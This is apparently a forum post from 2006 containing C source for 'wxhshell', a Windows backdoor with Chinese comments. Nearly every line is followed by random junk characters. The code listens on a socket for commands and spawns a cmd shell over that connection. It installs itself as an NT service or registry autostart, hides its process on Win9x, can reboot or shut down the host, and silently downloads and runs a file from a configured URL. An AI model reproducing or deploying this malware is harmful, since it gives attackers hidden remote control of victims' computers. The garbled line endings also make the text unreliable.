  case '?': { ([Ebsj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bFSlf5*H  
    break; jRofG'  
  } 1xz\=HOT  
  // 安装 Ejq=*UOP  
  case 'i': { !/947Rn  
    if(Install()) +)gGs# 2X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wa" uFW  
    else kGm:VYf%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WE")xhV6  
    break; K'NcTw#f  
    } 9SY(EL  
  // 卸载 i`+B4I8[  
  case 'r': { i|%5  
    if(Uninstall()) 9UP:J0 `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6)ycmu;!$  
    else .!i0_Rv5x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M`~!u/D7  
    break; @44P4?;  
    } _F izgs  
  // 显示 wxhshell 所在路径 &s:=qQa1  
  case 'p': { k^^:;OR  
    char svExeFile[MAX_PATH]; h 'l^g%;  
    strcpy(svExeFile,"\n\r"); >\Z R*CS  
      strcat(svExeFile,ExeFile); 1~'_K9eE  
        send(wsh,svExeFile,strlen(svExeFile),0); 8Y# bN*!  
    break; >!}`%pk(  
    } \X& C4#  
  // 重启 n>P! u71  
  case 'b': { |z~LzSJv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _R7 w?!t8  
    if(Boot(REBOOT)) noC?k }M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cn%2OP:L^  
    else { G AQ 'Ti1!  
    closesocket(wsh); TFy7HX\Oq  
    ExitThread(0); h>wcT VF  
    } 2J<&rKCF  
    break; ^Dr.DWi{$  
    } S$e Dnw~$  
  // 关机 U<47WfcW  
  case 'd': { :Q_x/+-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )p8I @E  
    if(Boot(SHUTDOWN)) pUCK-rL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -#?<05/C>  
    else { kZVm1W1  
    closesocket(wsh); /APcL5:=  
    ExitThread(0); (R'+jWH  
    } m&IsDAn  
    break; Rg* J}  
    } Km3&N  
  // 获取shell g{>^`JtP  
  case 's': { @Z;1 g  
    CmdShell(wsh); VXm[-  
    closesocket(wsh); lJ{V  
    ExitThread(0); 8~ #M{}  
    break; PJgp+u<  
  } ['[KR BJL  
  // 退出 `qiQ$kz  
  case 'x': { d TGA5c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 47UO*oLS  
    CloseIt(wsh); *Oo &}oAj  
    break; *8)2iv4[  
    } GK{{7B  
  // 离开 d~*TIN8Ke~  
  case 'q': { z^W$%G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6)e5zKW!?  
    closesocket(wsh); 4;KWG}~[o  
    WSACleanup(); 'r+PH*Mr  
    exit(1); 1H{jy^sP7  
    break; ~rv})4h  
        } %f&< wC  
  } SwH2$:f  
  } :0 ^s0l  
xx8U$,Ng  
  // 提示信息 UG2w 1xqHw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [@"wd_f{l  
} wJG$c-(\0  
  } naNyGE7)  
K`k'}(vj  
  return; nWWM2v  
} 8`v$liH  
H?yE3 w  
// shell模块句柄 Q:MhjkOr}  
int CmdShell(SOCKET sock) i0pU!`0  
{ Tby,J B^U  
STARTUPINFO si; ?m;;D'1j  
ZeroMemory(&si,sizeof(si)); RuAlB*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kt/)pc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4TRG.$2[  
PROCESS_INFORMATION ProcessInfo; !.Zt[g}  
char cmdline[]="cmd"; 3HiFISA*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .mxTfP=9  
  return 0; xiM&$<LpR  
} G&9#*<F$c  
I&]G   
// 自身启动模式 X-JV'KE}^z  
int StartFromService(void) .%xzT J=!  
{ %_gho  
typedef struct |M5-5)  
{  Mm= Mz  
  DWORD ExitStatus; {3edTu  
  DWORD PebBaseAddress; )\ 0F7Z  
  DWORD AffinityMask; c[cAUsk i  
  DWORD BasePriority; :q+N&j'3  
  ULONG UniqueProcessId; uS5o?fg\e  
  ULONG InheritedFromUniqueProcessId; j9y3hQ+q  
}   PROCESS_BASIC_INFORMATION; F u _@!K  
t\R; < x  
PROCNTQSIP NtQueryInformationProcess; RiFw?Q+  
k#)Ad*t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3|kgTB-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'BqZOZw  
p1O6+hRio  
  HANDLE             hProcess; V@ :20m  
  PROCESS_BASIC_INFORMATION pbi; +=3CL2{An  
9 $l>\.6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ``QHG&$ /  
  if(NULL == hInst ) return 0; n2ndjE$  
0SV\{]2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `  2%6V)s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,x_Z JL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K"{HseN{  
RKkGITDk  
  if (!NtQueryInformationProcess) return 0; >PalH24]  
:FQ1[X1 xm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pY}/j;.[  
  if(!hProcess) return 0; U;^[$Aq  
)0CQP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H;KDZO9W  
@Hjea1@t  
  CloseHandle(hProcess); B~gV'(9g  
yTAvF\s$(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hWEnn=BW  
if(hProcess==NULL) return 0; H{`{)mS  
$k 2)8#\  
HMODULE hMod; [*Ju3  
char procName[255]; dcq#TBo8  
unsigned long cbNeeded; O!R"v'  
w2"]Pl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); --k:a$Nt  
`T WN^0!]  
  CloseHandle(hProcess); <' m6^]:  
<8o(CA\  
if(strstr(procName,"services")) return 1; // 以服务启动 @LX6hm*}  
M]EsS^/X  
  return 0; // 注册表启动 VcgBLkIF  
} ~1(j&&kXet  
t/p $  
// 主模块 1~5trsB+5  
int StartWxhshell(LPSTR lpCmdLine) G$JFuz)|  
{ 'fW#7W  
  SOCKET wsl; \7 a4uc  
BOOL val=TRUE; :BZ0 7`9  
  int port=0; )iLM]m   
  struct sockaddr_in door; D-ADv3E,  
I4e+$bU3  
  if(wscfg.ws_autoins) Install();  t@B(+  
mh` |=M]8E  
port=atoi(lpCmdLine); Dgi~rr1`'s  
#}yTDBt  
if(port<=0) port=wscfg.ws_port; 8 %Sb+w07  
Y& {|Sw7?  
  WSADATA data; ,E*R,'w   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tJD] (F  
}vh Za p^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k3hkk:W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ill[]O  
  door.sin_family = AF_INET; yp]@^TN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z;3NiY  
  door.sin_port = htons(port); ] |Zb\{  
 v[,Src  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X[hM8G  
closesocket(wsl); w G!u+  
return 1; b-<HXn_Fd  
} W{Q)-y  
}DIF%}UK\  
  if(listen(wsl,2) == INVALID_SOCKET) { =_d%=m  
closesocket(wsl); ]H[8Z|i""  
return 1; /9hR  
} k onoI&kV|  
  Wxhshell(wsl); l (kr'x  
  WSACleanup(); P:!)9/.2  
C7qYiSv  
return 0; S*t%RZ~a  
h=+$>_&:  
} 0D [@u3W  
By((,QpB  
// 以NT服务方式启动 q-AN[_@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $k0H9_  
{ c@du2ICUc  
DWORD   status = 0; zVaCXNcbo  
  DWORD   specificError = 0xfffffff; 2@i;_3sv  
cyF4iG'M,y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3Sh+u>w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SI-X[xf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eBcJm  
  serviceStatus.dwWin32ExitCode     = 0; l5O=VqCj  
  serviceStatus.dwServiceSpecificExitCode = 0; o /p-!  
  serviceStatus.dwCheckPoint       = 0; F[E? A95W  
  serviceStatus.dwWaitHint       = 0; %$mjJw<|&  
{NQo S"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?0vNEz[  
  if (hServiceStatusHandle==0) return; AU{:;%.g  
'"xiS$b(  
status = GetLastError(); v'9m7$  
  if (status!=NO_ERROR) AK/:I>M  
{ wK*PD&nN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]0 ~qi@  
    serviceStatus.dwCheckPoint       = 0; bBE+jqi 2  
    serviceStatus.dwWaitHint       = 0; Y1\K;;X  
    serviceStatus.dwWin32ExitCode     = status; {B{i(6C(  
    serviceStatus.dwServiceSpecificExitCode = specificError; :pZ}*?\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `gguip-C  
    return; C{m&}g`  
  } Cvn$]bt/s  
2p< Aj!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?2`$3[ET-  
  serviceStatus.dwCheckPoint       = 0; b X,Siz:F  
  serviceStatus.dwWaitHint       = 0; l)|lTOjb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >&K!VQ{g  
} 5h^[^*A?  
ti_u!kNv  
// 处理NT服务事件,比如:启动、停止 bkv/I{C>?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +zO]N&  
{ .Ff_s  
switch(fdwControl) 1f//wk|  
{ 8wFn}lw&  
case SERVICE_CONTROL_STOP: m,6h ee  
  serviceStatus.dwWin32ExitCode = 0; tOg=zXm   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v\0^mp  
  serviceStatus.dwCheckPoint   = 0; gGfq6{9g  
  serviceStatus.dwWaitHint     = 0; %z)EO9vtr  
  { 8(lCi$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lb~\Y n'z  
  } {bkGYx5.C  
  return; X;EJ&g/  
case SERVICE_CONTROL_PAUSE: )I9aC~eAD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ukihx?5  
  break; r+\/G{+=}  
case SERVICE_CONTROL_CONTINUE: <GfVMD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a%J /0'(d  
  break; e\N0@   
case SERVICE_CONTROL_INTERROGATE: w}k B6o]  
  break; ?r3e*qJGn  
}; "c Pz|~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QJXdb]Y^;  
} 8/q*o>[?  
O@,i1ha%  
// 标准应用程序主函数 YFvgz.>QE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r8v:|Q1"  
{ UrK"u{G  
aN'0} <s  
// 获取操作系统版本 O/9fuEF  
OsIsNt=GetOsVer(); r)B3es&&  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  1N.tQ^  
l l:jsm  
  // 从命令行安装 ? ( 12aU  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5 ,ZRP'oI  
g :i*O^c @  
  // 下载执行文件 t)(v4^T  
if(wscfg.ws_downexe) { :ICr\FY$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gb-tNhJa@b  
  WinExec(wscfg.ws_filenam,SW_HIDE); X;]3$\F  
} }td6fj_{  
b]#~39Iph  
if(!OsIsNt) { `A{'s %$?!  
// 如果时win9x,隐藏进程并且设置为注册表启动 P"Rk?lL  
HideProc(); /Ynt<S9"  
StartWxhshell(lpCmdLine); UK:M:9  
} 0w}{(P;  
else ]h8/M7k  
  if(StartFromService()) L>:FGNf^H  
  // 以服务方式启动 m X:bA5db  
  StartServiceCtrlDispatcher(DispatchTable); S7#0*2#[o  
else Sf/W9Jw  
  // 普通方式启动 \e0x ,2  
  StartWxhshell(lpCmdLine); _IKQ36=  
ca}S{"  
return 0; C->[$HcRa  
}
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只看该作者 1 发表于: 2006-10-10
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